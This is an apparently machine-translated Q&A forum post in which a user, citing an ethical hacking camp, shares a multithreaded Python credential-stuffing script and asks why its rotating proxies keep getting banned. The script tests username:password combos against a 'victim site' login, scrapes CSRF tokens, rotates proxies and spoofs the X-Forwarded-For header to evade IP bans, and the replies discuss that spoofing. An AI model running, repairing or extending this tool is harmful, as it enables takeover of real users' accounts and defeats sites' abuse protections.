倫理的なハッキングキャンプの一環として、プロキシを使用してウェブサイトで複数のログイン要求を行う必要がある課題に取り組んでいます。私は次のコードを作ってみたことを行うには:Pythonリクエストで非同期要求を送信するライブラリ
import requests
from Queue import Queue
from threading import Thread
import time
from lxml import html
import json
from time import sleep
global proxy_queue
global user_queue
global hits
global stats
global start_time
def get_default_header():
return {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'https://www.example.com/'
}
def make_requests():
global user_queue
while True:
uname_pass = user_queue.get().split(':')
status = get_status(uname_pass[0], uname_pass[1].replace('\n', ''))
if status == 1:
hits.put(uname_pass)
stats['hits'] += 1
if status == 0:
stats['fake'] += 1
if status == -1:
user_queue.put(':'.join(uname_pass))
stats['IP Banned'] += 1
if status == -2:
stats['Exception'] += 1
user_queue.task_done()
def get_status(uname, password):
global proxy_queue
try:
if proxy_queue.empty():
print 'Reloaded proxies, sleeping for 2 mins'
sleep(120)
session = requests.session()
proxy = 'http://' + proxy_queue.get()
login_url = 'http://example.com/login'
header = get_default_header()
header['X-Forwarded-For'] = '8.8.8.8'
login_page = session.get(
login_url,
headers=header,
proxies={
'http':proxy
}
)
tree = html.fromstring(login_page.text)
csrf = list(set(tree.xpath("//input[@name='csrfmiddlewaretoken']/@value")))[0]
payload = {
'email': uname,
'password': password,
'csrfmiddlewaretoken': csrf,
}
result = session.post(
login_url,
data=payload,
headers=header,
proxies={
'http':proxy
}
)
if result.status_code == 200:
if 'access_token' in session.cookies:
return 1
elif 'Please check your email and password.' in result.text:
return 0
else:
# IP banned
return -1
else:
# IP banned
return -1
except Exception as e:
print e
return -2
def populate_proxies():
global proxy_queue
proxy_queue = Queue()
with open('nice_proxy.txt', 'r') as f:
for line in f.readlines():
proxy_queue.put(line.replace('\n', ''))
def hit_printer():
while True:
sleep(5)
print '\r' + str(stats) + ' Combos/min: ' + str((stats['hits'] + stats['fake'])/((time.time() - start_time)/60)),
if __name__ == '__main__':
global user_queue
global proxy_queue
global stats
global start_time
stats = dict()
stats['hits'] = 0
stats['fake'] = 0
stats['IP Banned'] = 0
stats['Exception'] = 0
threads = 200
hits = Queue()
uname_password_file = '287_uname_pass.txt'
populate_proxies()
user_queue = Queue(threads)
for i in range(threads):
t = Thread(target=make_requests)
t.daemon = True
t.start()
hit_printer = Thread(target=hit_printer)
hit_printer.daemon = True
hit_printer.start()
start_time = time.time()
try:
count = 0
with open(uname_password_file, 'r') as f:
for line in f.readlines():
count += 1
if count > 2000:
break
user_queue.put(line.replace('\n', ''))
user_queue.join()
print '####################Result#####################'
while not hits.empty():
print hits.get()
ttr = round(time.time() - start_time, 3)
print 'Time required: ' + str(ttr)
print 'average combos/min: ' + str(ceil(2000/(ttr/60)))
except Exception as e:
print e
だから、複数のスレッドによって、ウェブサイト上の多くの要求を行うことが期待されますが、期待どおりに動作しません。いくつかのリクエストの後、プロキシは禁止され、動作を停止します。私はそれを使用した後にプロキシを処分しているので、そうではないはずです。だから私はそれが複数のセッションを使用して複数の要求を行うための試みに起因する以下の
- のいずれかにあるかもしれないと信じて、何らかの形で非同期をサポートしていないためdisparatenessを維持するために失敗しています。
- 犠牲者サイトは、そのグループに基づいてIPを禁止します。たとえば、132.xxx IPからの複数の要求を受信すると、132.xxxで始まるすべてのIPを禁止します。
- 犠牲サイトは、「X-Forwarded- '、' Client-IP '、' Via 'などのヘッダーを使用して、発信IPを検出します。しかし、私はブラウザで、プロキシなしでログインすることができ、エラーを投げないので、私のIPはどんな意味でも公開されていないということは考えにくい。
私は気づいていませんスレッド部分またはリクエスト部分に間違いをしていますが、何か助けていただければ幸いです。
なぜ 'X-Forwarded-For'ヘッダを設定しますか? –
@MartijnPietersは、私はそれが私の実際のIP –
だから今、あなたの被害者のサイトには、お使いのコンピュータがあまりにもリストおよびブラックリスト8.8.8.8プロキシであると考えを開示しようとする試みですので、ほとんどのウェブサイトは、IPとして最初のパラメータを取ることをお読みください。あなたの*ブラウザ*はそのヘッダを設定しません。私は、ヘッダーを使用しなくても同じ状況 –